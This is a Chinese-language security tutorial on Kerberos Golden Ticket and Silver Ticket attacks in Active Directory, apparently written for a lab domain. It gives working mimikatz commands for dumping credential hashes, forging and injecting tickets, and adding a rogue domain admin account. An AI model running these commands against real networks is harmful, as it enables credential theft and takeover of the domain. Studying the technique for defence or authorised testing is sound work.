Kerberos認證
在學習黃金白銀票據前,首先先了解一下什么是Kerberos認證
在KDC中又分為兩個部分:Authentication Service(AS,身份驗證服務)和Ticket Granting Service(TGS,票據授權服務)
Kerberos認證的大概流程
當 Client 想要訪問 Server 上的某個服務時,需要先向 AS 證明自己的身份,驗證通過后AS會發放的一個TGT,隨后Client再次向TGS證明自己的身份,驗證通過后TGS會發放一個ST,最后Client向 Server 發起認證請求,這個過程分為三塊:
Client 與 AS 的交互,
Client 與 TGS 的交互,
Client 與 Server 的交互。
這里介紹域內常用的兩種攻擊方式:黃金票據Golden ticket、白銀票據SILVER TICKET
金票Golden ticket
原理
在Kerberos認證中,Client通過AS(身份認證服務)認證后,AS會給Client一個
Logon Session Key和TGT,而Logon Session Key並不會保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的交互。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
偽造金票的場景和所需條件
黃金票據的利用常用於權限維持階段。假設這么一種情況,我們已拿到的域內所有的賬戶Hash,包括krbtgt賬戶,由於有些原因導致你對域管權限丟失,但好在你還有一個普通域用戶權限,碰巧管理員在域內加固時忘記重置krbtgt密碼,基於此條件,我們還能利用該票據重新獲得域管理員權限,利用krbtgt的HASH值可以偽造生成任意的TGT(mimikatz),能夠繞過對任意用戶的賬號策略,讓用戶成為任意組的成員,可用於Kerberos認證的任何服務。
所需條件
1、域名稱
2、域的SID值
3、域的KRBTGT賬號的HASH
4、偽造任意用戶名
(獲取域的SID和KRBTGT賬號的NTLM HASH的前提是需要已經拿到了域的權限)
利用方式
先前利用mimikatz拿到了域管理權限時獲取的域的SID和KRBTGT賬號的NTLM HASH
privilege::debug
lsadump::lsa /patch
現在因為某些原因丟失了域控的權限,但是還有一個普通的域內用戶
在普通域用戶中使用mimikatz生成黃金票據.kirbi文件並保存:
kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi
/user:需要偽造的域管理員用戶
/domain:域名稱
/sid:SID值,(這里要是使用系統命令的話抓到是這樣的SID,最后面的值代表着這個賬號的SID值,注意是去掉最后一個-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱


第二步用mimikatz清除票據
kerberos::purge \\清除票據
kerberos::tgt \\查看票據
第三步用mimikatz導入票據
kerberos::ptt ticket.kirbi
成功訪問dc
此時嘗試創建一個的域管賬號,命令執行成功:
net user aaa !@#qwe123 /add /domain
net group "domain admins" aaa /add/domain
銀票SILVER TICKET
原理
白銀票據就是偽造的ST。
在Kerberos認證的第三部,Client帶着ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之后,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。
所以我們只需要知道Server用戶的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。
偽造銀票所需條件
1.域名
2.域sid
3.目標服務器名
4.可利用的服務
5.服務賬號的NTML HASH
6.需要偽造的用戶名
在域控中使用mimikatz獲取相關信息
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

回到域內低權限的賬號
先使用mimikatz清空票據,再導入偽造的票據,具體偽造票據的命令:
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服務賬號NTMLHASH /user:用戶名 /ptt
其中的用戶名可以隨便寫
服務類型可以從以下內容中來進行選擇,因為沒有TGT去不斷申請ticket,所以只能針對某一些服務來進行偽造


測試一下,成功執行dir \\dc\c$
,並且可以創建域管賬號,復制文件等:

金票和銀票的區別
獲取的權限不同
金票:偽造的TGT,可以獲取任意Kerberos的訪問權限
銀票:偽造的ST,只能訪問指定的服務,如CIFS
認證流程不同
金票:同KDC交互,但不同AS交互
銀票:不同KDC交互,直接訪問Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
銀票:由服務賬號 NTLM Hash 加密